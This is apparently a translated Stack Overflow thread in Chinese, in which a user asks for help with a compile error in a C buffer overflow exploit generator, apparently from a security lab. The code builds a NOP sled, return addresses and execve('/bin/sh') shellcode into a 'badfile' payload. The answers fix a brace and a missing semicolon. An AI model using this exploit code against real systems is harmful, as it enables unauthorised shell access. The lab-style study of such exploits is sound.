0

当我尝试编译以下代码时,我不断收到错误:输入末尾的预期声明或语句。我意识到这通常是因为遗漏了一个支架,但我似乎找不到它。我希望另一双眼睛能发现我已经盯着它看了一段时间的错误。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';    

/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}
4

3 回答 3

7

问题出在这个片段中

for(i = 486;i < codeSize + 486;++i)
{
    buffer[i] = shellcode[i-486];
{                                 // Here is the problem
buffer[buffSize - 1] = '\0';  

最后更改{}.

于 2013-09-18T18:33:20.827 回答
3

您在shellcode数组初始化后忘记了终止分号。

于 2013-09-18T18:33:07.140 回答
2

抱歉,此解决方案不能直接回答问题。但它好多了=)

好的,解决方案是使用 IDE。看:

(显然,大多数 C++ IDE 都支持 C)

只需尝试其中的一些,选择你最喜欢的,你就永远不需要要求 SO-guys 修复语法错误(他们很快就会发疯)。

我最喜欢的是 Visual Studio + Visual Assist,没有任何 IDE 甚至关闭,关于代码输入。但它只是 Windows 和蹩脚的 cl.exe 或英特尔编译器 =((

在我看来,对于 linux,KDevelop 拥有所有 linux IDE 中最好的代码输入助手。

快乐编码!

于 2013-09-18T18:49:59.523 回答